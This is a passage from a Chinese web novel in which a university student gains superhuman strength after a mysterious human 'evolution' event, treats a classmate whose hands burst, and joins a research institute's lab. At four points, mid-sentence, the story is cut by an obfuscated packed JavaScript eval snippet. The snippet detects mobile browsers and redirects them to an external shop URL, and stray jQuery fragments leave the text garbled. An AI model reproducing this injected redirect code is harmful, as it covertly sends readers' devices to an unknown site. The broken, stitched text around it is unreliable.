由于进化事件现如今只是个例,人们还未来得及思考它对整个社会带来的效应。T恤男脚下的砖缝和他的话,让人们突然意识到了进化者和普通人的差距,而现在的社会确是有可能像T恤男说的一样,产生巨大的动荡。 就连林萤,也想到了老教授的那句——“这个世界将要发生剧变。” T恤男见众人似乎信服了他,骄傲地扬起了头。 “快把书给我,再给我道个歉!” “我没有错,为什么要道歉?” 林萤推开T恤男压在自己肩膀的手臂,站起来迎上他并不和善的目光。 “该道歉的是你,你在图书馆喧哗并毁坏公物,准备好赔偿吧!” 林萤的话音刚落,一直在角落里的图书馆管理员也走了过来,他站在一边看向T恤男,眼中的责备不加掩饰。 “同学,登记一下,损坏的东西要赔偿。” “滚开!” T恤男朝管理员怒吼一声,张大的嘴巴像喷壶一样喷出许多唾液,“雨露均沾”地落到了他面前的几个人身上。 林萤抬起袖口擦了擦脸。 “火气太大,都有口臭了。” “你!” T恤男又羞又恼,他扬起手,就要给林萤一巴掌,却在即将挨到她面庞的那一瞬被林萤捏住了手腕。他下意识想甩开,却发现自己的手腕像是被铁钳箍住了一般,无法挣脱。 T恤男这才正眼看向眼前这个穿着朴素的女生,她面上没有表情,眼神却很沉稳,她的身材并不壮,握着自己手腕的手也称得上纤细,任谁也不能相信,那股强大的、完全被钳制住的力量竟然是她发出的。 “劲挺大,小瞧你了。” T恤男说完,想抽回手却怎么也抽不回来,他又使劲下压想扇下去,却也扇不动,一条胳膊就那样被林萤捉在空中,像被按下了静止键,姿势滑稽,形态尴尬。 林萤的手慢慢发力,她只知道自己的握力增加了,却并不清楚有多大,于是便使出了约二分的力气。 就见T恤男的耳边沁出了汗水,脸也变得涨红。 “你……放开我……不然我就要踹你了!” 这时,旁边来了一个短发女生,她小声劝林萤。 “同学,明哲保身,他那一脚不是我们能承受的。” 林萤朝她点头笑笑,谢过她的善意。 谁料,T恤男却并不领情,他怒吼一声,“滚啊!”接着一脚踢向那个短发女生。 眼见短发女生就要被踢到小腹,这一脚下去,只怕半条命就没了。 林萤眼疾手快,将短发女生拉向自己身后,捏着T恤男的手更加用力。 这次,她又加了一成力量,“咔嚓——”一声轻微的响动,林萤知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587662|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这是T恤男的手腕两侧的茎突被她捏碎了。 “啊——疼疼疼!” T恤男再也承受不住,大声叫了起来。 林萤这时才放开手,她看着手心,没想到自己仅仅只用了三成的力量,便能捏碎人的骨头,那若是用尽全力,怕是能将对方的手腕直接捏断。 进化后的力量竟然如此恐怖! 还没等林萤的注意力转移回来,T恤男突然又叫了起来。 这次不止他一个人惊讶,周围的人也都大声议论起来。 “手!” “快看他的手!” “怎么回事?” 就见T恤男的双手突然变得越来越大,手掌像蒲扇,十根手指将要赶上筷子的长度。 “哈哈哈哈哈!” T恤男癫狂地笑了起来。 “是进化,我先进化了脚,又进化了手!而且这次的进化速度居然这么快,天之骄子舍我其谁!哈哈哈哈!” 林萤也被眼前的一幕惊到了,她没想到一个人可以先后进化两种器官,而且二次进化的时候,速度要比第一次快上很多。 林萤目前见过的进化者不多,天文课上的男生和薛言进化的时候,肢体的增长的速度虽然不慢,但也是在可预测范围内的,而眼前这个T恤男的手,变大速度明显是以秒记,不到三分钟,便长得比锅盖还要大了。 要说现在谁最高兴,那当属T恤男。他整个人兴奋地抖动着,半插在裤兜里的手机也掉落在了地上。 “太好了,太好了,这下那些嘲笑我进化脚的人可以闭嘴了,我这就拍照让他们看看……” 说着,他就想蹲下去捡手机,可因为还没有适应长长的手指,捡了几次都没有捡起来。 乘着这个空档,林萤向外走去,她等下有一节专业课,快到上课的时间了。 “你,别走!有本事等我进化完咱们比划比划!” T恤男见林萤要走,立即站了起来,长长的指头戳在林萤的后颈上。 凉! 林萤“嘶——”了一下,这感觉就像是被一根刚刚冻硬的碎碎冰戳了一下。 她回过头,看向T恤男,突然在对方的身上感觉到了一股熟悉的气息——这股气息她曾在天文课上感应过。 “你……” 林萤的话还没说完,就见T恤男原本已经停止生长的手突然又继续长了起来,不过这次并不是变大,而是变胖,不,也不是胖,准确来说,应当是“胀”,肿胀! T恤男也发现了自己的变化,他的眼里迸发着喜悦的火花,显然是很期待自己将要迎来的变化。 “你最好先坐下,暂时不要使用双手,平复你的心跳……” 林萤一边招呼身边的女生和图书馆管理员后退,一边好心地嘱咐T恤男。 谁料,T恤男并不领情。 “我已经是进化过一次的人了,还需要你这个普通人来教我?” 说着,他又俯下身去捡自己的手机。 随着他的腰越来越弯,他的手也越来越圆,像小孩子玩的兔子气球,还是多了几个耳朵的那种,里面的指骨逐渐变得清晰,经脉也条条分明。 “小心!” 林萤的话音刚落,“嘭!嘭!”两声,T恤男的两只手炸开了。 5. 消失的“碎冰晶” “啊!” 周围几个人都被这突如其来的变化吓破了胆,惊叫着站起来,哆哆嗦嗦往图书馆外跑。 只有林萤站在原地,她一把抓住身侧的管理员,嘱咐他去打急救电话,而后来到了T恤男旁边,迅速询问。 “同学,你叫什么?” “啊,我叫……” T恤男似乎还没反应过来。 “……我叫赵毅千,我,我的手……” “好的,赵毅千,我先扶你坐下,然后帮你止血,你放心,不会有生命危险。” 说着,林萤脱下外衣,用袖子模拟止血带,绑在了赵毅千的上臂中段。 按林萤以前的力气,要为赵毅千止住血恐怕得花上一阵时间,但她进化后手上的力量变大,所以一下子便将不断喷射的血止住了。 血止住后,赵毅千仿佛才回过神来。此时他的手腕就像被暴力掰断的藕节,青色的、淡紫色的经络粘着碎肉,稀稀拉拉地连在关节上,像极了藕丝。 赵毅千看着自己的手腕,先是发泄似的大声哭嚎,再是喃喃自语,又不住地低声啜泣,面上糊满了鼻涕和眼泪,却无法擦拭。 林萤此时的注意力全在赵毅千身侧的血迹上,由于赵毅千出事时双手离地面非常近,所以爆炸后的痕迹也多数留在地面上。 就见那两团血迹里除了碎骨、血液,更多的是一种透明的、粘稠的、胶质的东西。 ——这不是正常人体内会有的东西。 林萤推测,赵毅千的双手之所以会爆炸,很大原因出自于这种液体。并且天文课溅到自己脸上的,也是它。 ——这究竟是什么? 林萤不敢大意,她小心翼翼用随身携带的笔沾了一点,放进笔帽里密封起来,打算等课后去实验室观察一下。 就在这时,地面上的液体突然闪了闪,林萤仔细一看,在里发现了一个亮晶晶的东西,形状有点像碎冰晶。 “这是……” 林萤预备再用笔将那亮晶晶的东西拨出来,手刚一靠近,那东西却突然间不见了,就像隐形了一样。与此同时,她的指尖似乎有一丝刺痛,而后又很快恢复正常。 林萤搓了搓指尖,若有所思。 “喂,你很得意吧,我没有了手……” 赵毅千的话打断了林萤的思索,她转过头来询问:“什么?” “我进化失败,你很得意吧?”赵毅千咬牙切齿,“我刚进化成功,才享受了半天进化带来的荣耀,结果就失去了一双手,你一定觉得我活该。” 林萤先是摇了摇头,而后又点了点头,“本来不觉得,被你这么一说,确实有点。你看,你才进化了这么点能力就到处耀武扬威,要是真的全身都进化了,你岂不是要上天?可见德不配位必有余殃。” “你——闭嘴!” 林萤没理会他,“不过,现在有一件更重要的事情……”见林萤面色凝重,赵毅千不由得打起精神,谁知对方指了指绑在他大臂上的衣服,“等你好了记得赔我一件新的,这件我才穿了三年。” “......” 说话间,救护人员来了,林萤背好书朝外走,突然又转过头朝赵毅千挥手道:“新衣服放在生科院实验楼,交给楼管阿姨就行!” 说罢,她迈开腿,大步离开。 林萤赶到教室,已是十分钟后。 课已经开始了,她想从后面偷偷溜进去,刚推开后门,就见原本应当坐满人的教室今天空了一大半,所以迟到的林萤便分外显眼。 眼见讲台上的张老师望了过来,林萤忙弯腰道歉。 “不好意思,老师,我迟到了。” 张老师摆了摆手,示意她快坐下,而后继续刚才的话题。 “……因此,人类突然出现的异常进化与暗星存在着巨大关系,应对异常进化,我们需要有一剂良药,它的作用不是提高进化的成功率,而是在进化失败的时候,保证进化者的人身安全,将进化失败的伤害降到最低……这是我们目前的一个初步思路,也是未来研究的大方向。” 林萤想起进化失败的赵毅千,与天文课去世的男生相比,赵毅千无疑是幸运的,只因他进化的是手,不是脖颈。 如果有一种药,可以在进化失败之时,将进化的部位转移到其他部位:趾头、耳朵,甚至指甲、毛发、死皮……如果转移到这些上面,是不是进化失败也无妨了? 她正在想着,突然听到一声小声的呼唤。 “林萤,快过来!” 一个长发女生转过头来,一边朝林萤招招手一边用唇语对林萤说着。她的身旁正好有个空位,上面放着一本专业书,一看便是占位用的。 林萤猫着腰走过去刚坐下,胳膊便被戳了两下,“你怎么才来?” 林萤压低声音,“实不相瞒,我去救人了。” “切,你就吹吧!” “冤枉,我骗谁也不敢骗杜煦大人您啊!” 杜煦听到林萤的回答,捂着嘴巴小声笑了起来。女孩有一双大而亮的眼睛,微微笑时却弯的像月牙,暖洋洋照着林萤,使她的心情也变得好了起来。 “对了,杜煦大人,再给我借根笔吧!” 杜煦将一支蓝色的圆珠笔放在桌子上,食指压着笔的末端,轻轻推给了林萤。 “赏你了,不用还!” “谢谢您嘞!” “咳咳——” 讲台上,老师突然清了清嗓子,林萤和杜煦忙止住了话头。 张老师缓缓讲述,由于进化事件发生的太迅速,范围太广,传统的医学手段对进化产生不了任何影响,个体进化间差异也大,不论是学生还是社会人士,都对进化恐惧大于期盼,所以亟需找到产生进化的原因以及应对进化失败的方法。 在这次暗星带来的灾难中,云栖大学所处的蹊暇市属于受灾较轻的地域。一是因为蹊暇市远离大海,海拔较高,水灾较少;二是它绕开了地震带,仅仅是被余震波及,没有出现大规模的地面破坏和建筑倒塌等现象;三是它地势平坦,有利于人员转移。 受灾害的影响,现在大部分地区都抽不出人手来研究,只有蹊暇市能充当起这个“探路者”的角色,而云栖大学则是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587663|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这个探路者的先锋,作为云栖大学生科院的一员,同学们都被赋予了艰巨的任务——找到那味可以在进化中保命的“灵药”。 讲台上,张老师的课已接近尾声。 “……所以,现在到了同学们发挥力量的时刻,我们将是先锋队伍,是第一批战士,也是陷入困境人们的希望所在! 几乎所有的试验都会有安全隐患,尤其是这类新事物,所以,同学们如果有顾虑,可以选择不参加,继续研究以前的课题,选择参加的同学,我们也会在最大限度内保证你们的安全。不论如何,你们的人身安全都是排在第一位的。” 说罢,张老师合上了书,两只手掌支撑在讲台上,微微向前探出了身子,似乎是想离学生们更近一些。 “另外,为了方便研究,与我们大学合作的一所研究院向我们伸出了橄榄枝,那边有不少进化者,欢迎同学们奔赴现场,去近距离研究和观察他们……会比在学校条件艰苦一些,相应地,对方也会给一些补贴。有愿意去的同学可以来我这里登记。” 张老师说罢,温和的目光从同学们的面上一一掠过。 “同学们,这堂课就到这里,下课!” 林萤很自然地站了起来,正要走向讲台,杜煦拉住了她的手。 “你要去研究所?” “嗯,有钱拿。”林萤说罢,反问杜煦,“你去吗?” 杜煦皱着眉头,将林萤往回拉,“你没看论坛里那条热度很高的帖子吗?” “置顶的那个吗?” “不是,帖子太多了,我估计你没看到。”杜煦的嘴唇抿成一条线,面部肌肉紧张地缩在一起,呼吸也变浅了,“他们说,进化是一种病毒,会传染,你要是去了,万一被感染怎么办?” “……” 林萤回想了一下,发现自己在进化前确实接触过进化者,但仅凭这一点并不能说明进化会传染。要是真如杜煦所说,进化是病毒,那么自己已经被传染了,还会不会再发生二次传染? 林萤本身并不抗拒进化,也并不觉得这是一件值得炫耀的事情,目前为止,她始终对进化保持着客观中立的态度。 “没有关系的,那边既然是和咱们学校合作的研究院,条件肯定是一流的,就算我被传染了也能当场‘治疗’。”林萤说着,把刚才借来的笔放在杜煦的桌面上,“杜煦大人,请不要担心。你在学校也要多注意,等我回来。” 见林萤去意已决,杜煦只好放开了她的手,“好,那你多保重,我们已经失去了那么多朋友,比起研制出什么药,我更希望咱们都能好好活着。” 林萤点点头,追上已经走出教室的赵老师,报了名,又将自己包里那只笔给了老师,并讲了笔帽里液体的来历,她怕时间太长液体蒸发,固有此一举。 接着她又趁午饭时间登录论坛,将自己要出校的事情告知其他管理员,他们答应林萤将招募一个新人来代替林萤的位置。 一切处理妥当,很快,就到了当日下午。 由云栖大学生命科学院学生组成的调查分队在学校正门大广场集结完毕。 6. 残忍的进化者 说是调查分队,其实只有三个人,除林萤外,队伍里还有两名男生。 站在最左边的高个子男生名叫田畅,他有着一头微黄的自来卷,目字形脸蛋,皮肤白皙,上面有零星的几点黑痣,他很瘦,几乎称得上弱不禁风,黑色的修身针织衫套在他身上也显得松松垮垮。 紧挨着田畅的是马浩哲,他个子不高,脸蛋圆圆四肢圆圆,微微凸出来的小肚子和颇为正式的西装让他显得幼稚中又有几分成熟。 几个人来的比较早,接他们的车还没到,于是大家便聊起天来。 先说话的是马浩哲。 “听说外面乱的很嘞,咱们几个都超有勇气!” “你怎么知道?”田畅问他。 “我去年寒假的时候不是打工了嘛,那时候加了一个骑手群,群友天天到处跑,啥新鲜的瓜都能吃上。” “都说了什么?” “早在三天前外面就有进化的人了,那是个三十岁出头的女人,进化的是耳朵,只是当时她自己不知道,还以为得了怪病,一边哭一边往医院跑。一个小哥见她可怜,就想顺路捎上她,结果被吓了一跳,还以为是猪八戒转世了!” “后来呢?” “那个女的耳朵不停变大,最后像大象的耳朵一样垂了下来,这时候来了一帮白大褂,女人就被带走了——这是第一个进化的案例。后来陆陆续续有很多进化的人,就不提了。” 马浩哲舔了舔唇上的干皮。 “值得注意的是,昨天晚上发生了好几起凶案,都是进化者做的……其中有一例特别残忍,受害者被活生生砸进了墙壁!头、身、四肢不成人形,连骨头都碎成渣了,红红白白黄黄一大片涂在墙上,远看还以为是什么涂鸦。报警的人说,他看清后几乎都要把隔夜饭吐出来了。” “……犯人抓到了吗?”林萤问。 “抓到了,是个进化了双手的人,被抓住的时候还一直在反抗,四五个人都弄不过他,最后不得已打了一针麻醉才抓住。最可怕的是,他和受害人两个人没有交集,是纯粹的陌生人,受害者只是路过他的时候捂了一下鼻子,他以为人家在嫌弃他身上的味道,就下了死手……所以啊,普通人有了超能力是很恐怖的一件事。” 他的话让众人都陷入了沉思。 马浩哲见大家面色都不太好,于是一拍大腿,“不过咱不用怕,老师不是说了嘛,咱们有专门的人带队!对了,说到这个,咱们拉个群吧,也好方便联系!” “行!” 拉好群后,马浩哲又提议道,“给咱们的群起个名字吧!” 林萤问他:“你觉得叫什么好?” “依我看,咱们正好三个人,就叫‘三毛特效小分队’,既符合我们的人数,又点名了我们的目标‘特效’——即做出便宜好用特效药,怎么样?” 马浩哲的话引得另外两人发笑,笑过后,是大家的赞同声。 “好,那我们就叫‘三毛特效’!” 众人正笑得开心,就见不远处开过来一辆黑色的商务车,从车上下来了两个人,其中一人是林萤的专业课老师,另外一人穿着一身军装。 尽管距离尚远,林萤依然认出来那人就是昨晚见到的林祐均,只不过他身上的白色制服换成了深蓝色。 他不是进化事件处理中心的吗,怎么也来了? 电石火花间,林萤就明白了,这个“进化事件处理中心”应该就是研究院成立的,所以昨天林祐均才会出现在校园里,学校与研究院的合作早就展开了。 张老师也看见了在等候的三人组,于是朝他们招招手,林萤等人很快走了过去,与老师汇合。 “林指导,这几人是我的学生:林萤、马浩哲、田畅。” 林祐均的目光一一扫过面前的学生,在接触到林萤的视线时,他微微顿了一下。 “你们好,我是林祐均,是研究院派来接你们的。” 几个人齐齐问好后,张老师开口,“他们都是很优秀的孩子,这些日子还请您照顾好他们。” “放心,张老师,我们绝对会保证他们的安全。” 上车落座,林萤坐在中间一排,两个男生坐在第三排,而林祐均坐在了副驾。 驾驶座上,是一个戴着墨镜的青年男子,他似乎很沉默,只有在回应林祐均的吩咐时才会冒出一两声“嗯”。 汽车缓缓驶出校园,又经过了一重又一重的关卡,这才来到了大路上。 云栖大学位于蹊暇市的南郊,这里地广人稀,除了几所大学外,便是稀稀拉拉的村落。平时村民们会在学校门口卖一些小吃,也会拉一车新鲜的水果来叫卖,方便同学们的同时又赚了钱,可谓是一举两得。 可如今,校外安静的不像话,原来的小吃摊、水果摊都不见了,学校的大门也紧闭着。 林萤看向车窗外,那里,几个工人正围着校园的栅栏式围栏拉高压电网,密密麻麻的网格,像是要将整所学校全包围起来。 “这是……隔离!”林萤坐直了腰。 “还真是,天哪,这是要干嘛?”田畅也趴在了窗上。 “畅畅,让你马哥看看,让你马哥看看……” “马浩哲!你快把我挤成肉饼了!得得得!咱两换换,你坐在我这边行了吧!” “好哎好哎!”马浩哲兴奋地换到了田畅这边,一双眼睛几乎要贴在了窗户玻璃上,“隔离的是他们,咱们跑出来了,嘿嘿!” 田畅冷笑一声,“马胖子,我真不知道该说你心大还是该说你缺一根筋,学校架起防护网明显是为了保护里面的学生。” “畅畅,好好说话,怎么还带讥讽呢?” “难道不是吗?这网明显是在保护里面的人,现在该担心的是我们自己。” 马浩哲无所谓地甩了甩头,“我才不担心呢,反正前面这个帅哥会保护我们的,他看上去就很能打。你说对吧,帅哥?” 一直闭目养神的林祐均睁开了眼睛。 “是,我会保护你们。” “这就对咯!” 说话间,车已经驶离校园周边,朝着市区的方向开去。 连日来都是晴天,天空蔚蓝,颇有秋高气爽之感。然而气温非但没有降低,反而热了许多。 进了市区,车辆的行驶速度变慢了些,司机的驾驶技术很好,但也免不了走走停停,刹车的次数也变多了。后排的声音慢慢小了起来,逐渐无人交谈,车内很安静,只有空调吹出气流时微微的响动声。 林萤一直在看向窗外,她总觉得什么地方有些奇怪。于是在又一次被加塞的车逼停后,她缓缓开口。 “你们有没有发现,路上的人和车多了很多……” 此言一出,众人纷纷附和。 “确实确实,而且没素质的车好多啊,我们都被逼停好几次了!” “大家都急匆匆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么会不缺呢……人才到哪里都是稀缺资源,我们很缺,不,不仅是我们,现在到处都缺……你们也知道,这场灾难中有多少人离去,又有多少人被灾难击垮从此一蹶不振。所以,你们要加油啊,三毛特效小分队!”林祐均说罢,便不说话了。 田畅没有说话,他缓缓将目光移到窗外,车流不息,不知道他究竟在看什么。 “我好像突然患了姓名羞耻症……”马浩哲摸了一把脸,“算了算了,三毛特效,加油加油!” 林萤则是转过头望向林祐均的侧脸。 他的头发剪得很短,露出了整个耳朵,耳轮平滑耳垂白皙,除了看上去很健康,也没有什么特别之处。想必是他也进化了听力,所以才能在很远的距离听到林萤几人之间的对话。就像林萤自己一样。 汽车行驶的声音、喇叭声、人们的低语声、电机的嗡嗡声、压路机的隆隆声、交警的哨声、单车少年的铃铛声……种种声音,林萤都可以听得很清晰。 而最让林萤惊讶的是,如果她想听什么声音,那个声音就会自动在她的脑海里放大,可以说非常智能。 隐约地,林萤觉得自己进化的能力似乎与别人不大相同,只是每当她想说出自己也进化的事情时,总会想到论坛里“局外人”的那句忠告,他说:不要将自己进化的事情告诉别人。直觉告诉她,这个人比她更了解进化。 7. 地下实验室 一个小时后,商务车行至一个门前十分开阔的大院,靠近门口的地方立着一块巨大的门牌石,林萤注意到上面只写了一个门牌号,并没有单位的名称。 院门前站着两排岗哨,每一个人都配着一把激光武器,看上去训练有素。见到来车,前排的两个岗哨看了一眼车牌,转过来敬了一个礼,直接放行。 当车缓缓驶入,仿佛穿过结界进入了一个新的世界。原本围绕在林萤耳边的噪音渐渐远处,取而代之的是鸟鸣声,风吹树叶的沙沙声,车轮压过落叶的脆响声。 车窗下落,外面的新鲜空气灌进车里,清爽舒适,林萤原本焦躁的内心也平复下来。 林祐均对司机吩咐了一声,然后就见那司机将车开到了一幢三层小楼前,而后车门缓缓打开。 林萤从车上跳下来,伸了一个懒腰,抬头看去,树木高大,树冠如同堆积的云朵,太阳透过树叶的缝隙洒在她的脸上,让她感觉暖洋洋的。 “哇啊,这里环境真好!” 田畅几人也陆续下了车,大家活动活动手脚,都环顾四周,打量这个新环境。 “是呀,这些树怕是已经有上百年了……”马浩哲抚摸着旁边的树干,不由地感叹着。 林祐均最后一个下车,他接过了马浩哲的话,“嗯,这是研究院的老区,有七十多年的历史了。” “哇!可是这里的建筑看上去还蛮新潮的……”马浩哲指着身后那幢三层小楼,这幢楼看上去很新,不像是旧建筑。 “对,这是实验楼,在旧基础上翻新了一下,所以看上去比较新。诸位,时间紧迫,我直接带你们来了这里,你们的行李我让司机直接送去宿舍,等休息的时候会有人带你们回去。可以吗?” 众人你看看我,我看看你,终是没有异议。 “那就好,跟我走吧。” 林祐均说完,朝司机挥了挥手,于是车开走,将他们几个人留在了原地。 几人亦步亦趋,跟着林祐均来到了实验楼。 甫一进门,一股冷气吹了出来,气温下降了几度,却并不是开了空调,而是建筑里盘旋的过堂风。大门一开,便像开了一个气口,热风往里涌,冷气往外钻,冷热对流形成了一股小旋风。 小旋风打在林萤的眼皮上,她眯了眯眼,然后睁大眼睛打量着四周。 好像五十年前的政府大楼啊! 白色的墙壁,绿色的墙裙,进门一个大厅,大厅正对着楼梯,左右两边是走廊,拐角处各放一盆用红丝带扎着树秆的铁树,那红丝带还系成了蝴蝶结状,一双翅膀正对着大门。 怪喜庆的! 林萤感觉在这里拍年代剧完全不用布景,随便一拍,都很有古早氛围。 “吴敏。” 林祐均突然出声喊道。 很快,从左边走廊第一个房间走出一个女子,她身着一件白色大褂,戴着口罩,挽起的头发用帽子罩了起来,露出的眉眼十分英气。 女子走路带风,很快就来到了几人面前,“林指导,这就是你说的那些孩子?” “嗯。”林祐均看了一眼身后的学生,突然伸出一根手指轻轻点了点胸前的徽章,“不过,我们这里,没有孩子,只有战士。所以不用特殊对待他们,吴敏,一切都按我们的标准来。” 被唤作吴敏的女子“噗嗤”一声笑了出来,“好吧,您还是这么严格。” “今早有送过来的人吗?” “有,两个。” “怎么样?” 吴敏轻轻叹息,“都没有进化成功,现在还有一个正在……” 她的话被一阵手机铃声打断,林祐均接上电话“喂”了一声,眉头皱在了一起,他说了句“我马上就过来”,接着便挂断电话,重新看向吴敏,“他们几个就交给你了,我还有事,暂时离开一下。” “好的,您忙吧!” 林祐均朝着林萤几人点点头,而后便迈着大步离开了。 吴敏看着他的背影摇了摇头,“风风火火……算了,到你们了,小家伙们!” 林萤几人方才一直在竖着耳朵听他们的对话,皆是提着一口气,不知道这里的“标准”会不会很严苛,又乍听闻两起进化都失败了,几个人都是一脸的凝重,连一向笑嘻嘻的马浩哲也严肃了起来。 “不要紧张,先把衣服换上,然后我带你们去看看你们的研究对象。” 吴敏将他们带到一侧的更衣室,那里放着五件防护服,她将防护服一一分发给三人,刚要把多出来的几件收回去,却见马浩哲脱掉西装,紧接着又要去脱衬衣,她忙喊了起来,“孩子!孩子!没那么讲究,你把这个防护服套在衣服外面就行!” 马浩哲羞红了脸,“姐姐,我也想直接套上,可是我太胖,这个衣服太瘦,只能贴身穿了……” “不碍事,咱们这里有加大的!” 吴敏重新给他拿了一件,马浩哲这才穿戴好。 林萤看向防护服的胸前,那里印着“T-6”,她又看了看别人的衣服,全部都是“T-6”,“请问,这个T-6是?” “哎,林指导没告诉你们吗?这是我们研究院的名字,我们这里就是T-6研究院。哎呀,这些都不重要,重要的是,接下来你们要做好准备。” “姐姐,我们要准备什么呀?”马浩哲好奇地问道。 吴敏“嘻嘻”笑了一声,“准备好当战士!”说着一边向外走一边招了招手,示意他们跟上。 林萤几人鱼贯而出,跟随着吴敏来到右边走廊最靠里的一间房,这间房的房门比其他的门都大一些。吴敏拉开房门,里面有两台电梯。 “我们从这里下去负一层。” 吴敏按了左边的电梯,电梯打开,一行人进去。 林萤发现这里的电梯间很大,甚至比医院专门用来放手术床的电梯间都大,一共有三层,负一负二负三,电梯外壁是半透明的,可以模糊地看到外面的景象。 凭借着进化过的视听能力,林萤敏锐地看见了走动的研究员,巨大的培养箱,听到了液体流进试管的声音、器械碰撞声,以及猫叫声。 等等——猫叫声? 实验室里怎么会有猫? 林萤正竖着耳朵想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587665|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 再听听,电梯已经稳稳停住,门打开。 几个人同时发出了“哇——”的惊叹声。 如果说一层之隔的楼上是五十年前的复古风,那么这里便是五十年后的未来风。 林萤几人面前是一道看不到缝隙的透明门,一门之隔,是一座巨大的实验室。它的墙面由一整块的透明屏幕组成,上面翻滚着数据流,试验台上机械臂在熟练地操作着仪器,负责记录的机器人站在一边。 ——机械多于人工。 这是林萤的第一感受。 “好了,我的权限不够,只能送你们到这里。” 吴敏的话将林萤几人从惊讶中唤了回来。 一个穿着实验服的男人走过来,他靠近透明门,抬了抬眼皮,门便打开了。 “这是……虹膜识别?”田畅小声提问。 吴敏“嗯”了一声。 男人看上去五十多岁,眼球是偏淡的黄棕色,脸部瘦长,头发花白,大概是常年不见日光,他的皮肤泛着冷白,看上去有些病态。 吴敏笑着朝他打招呼,“袁教授,你的外援们到了!” “谢了你了,小吴。” “那我就上去啦!”吴敏说完,回过身正对林萤几人,“你们几个听袁教授的话就行,不用太紧张,我们相信你们的能力。” 说完,吴敏便重新回到电梯间,门缓缓合上,电梯上行。 林萤感觉她们几人就像是一个打包好的快递,从一个陌生环境换到另外一个陌生环境,又被一个陌生人递交给另外一个陌生人,跋山涉水,终于到达了买家手里。 现在这个快递就要被拆开验收了,马浩哲第一个不淡定。 “呼,她相信的太早了,其实我的成绩在班里是垫底的……” 马浩哲还要再说,田畅拉了拉他的袖子,示意他闭上嘴巴。 马浩哲瞪了眼田畅,又望向似笑非笑的袁教授,忽然抬起手,像拉拉链一样把自己的上下唇合在了一起。 袁教授仍是一张扑克脸,他清了清嗓子,“吭吭......第一天来,本来不应该立即让你们干活的,但是我们的时间紧迫,每一分钟都是数条人命堆起来的,所以没有时间让你们放松和休息。不过你们也不用紧张,平时在学校里怎么做的,在我这里也是一样。” 临了了,他又问了一句,“你们有人近距离接触过进化者,尤其是接触过进化失败的人吗?” “没有。”田畅和马浩哲同时开口,随后马浩哲又摇了摇头,补充道:“我只是听说过,没有见过。” 袁教授又转向林萤,“姑娘,你呢?” 他的瞳色本身就很浅,在实验室数盏灯光的映射下几乎像茶晶,泛着灵性的光。 林萤上前一步,望着袁教授,“我近距离接触过,不止一例。” “什么时候的事情?” “昨天下午,以及今天早晨。” 听到她的话,小队的其他人显得很惊讶,倒是袁教授脸上没有什么明显的表情。 “好的,你跟着我,其他人来这边,豆豆会指引你们工作。” 8. 他有两颗头颅 他的话音刚落,一个虎头虎脑的机器人走了过来,用萌萌的机械音喊道:“请田畅、马浩哲两位同学跟上豆豆的脚步,熟悉一下这个新环境吧!” 马浩哲摸了一把机器人光滑的脑袋,“你怎么知道我们的名字?” “工作中,请不要随意触摸豆豆。你们来之前豆豆已经阅读了你们的资料,当然知道你们的名字啦!偷偷告诉你们,豆豆不仅知道你们每个人擅长的领域,豆豆还知道有人上学期期末考试才得了六十分呢!” 马浩哲的脸涨得通红。 “你,你这个机器人太不通人情世故!太冒昧了!这种事情是能在大庭广众之下说的吗……” 眼见一人一机还要继续聊下去,袁教授这时候发话了,“好了,豆豆,不要闹了,带他们去熟悉工作。” “好的!请跟豆豆走吧!” “走!走!” 目送同伴们离去的背影,林萤转头看向袁教授,却见他抬腿向相反的方向走去,林萤立即跟上。 途中,林萤开口,“教授,严格来说,我们几个都近距离接触过进化者。” “哦?” “带我们来的林祐均就是进化者,您一定比我知道的更早。” 袁教授的脚步没有停,“嗯,是这样。” “袁教授,您认为进化会传染吗,就像病毒一样?” 袁教授终于停了下来,他转过头望向林萤。 “你很敏锐,林萤,但是放心,目前并没有严谨的论断来证明进化有传染性,虽然它的突发性和集群型像极了传染。我们抽取了一部分进化者的血液进行检测,他们血液中的成分和比例——”袁教授抬起手指了指自己,“与我这个普通人没有什么区别。” 林萤随口道:“那么,区别就不在血液里。” “你需要理论依据,而不是一个口头结论。林萤,像这样一本正经的猜测,豆豆一秒钟能生成几万条。” 林萤笑了笑,没有再说话。 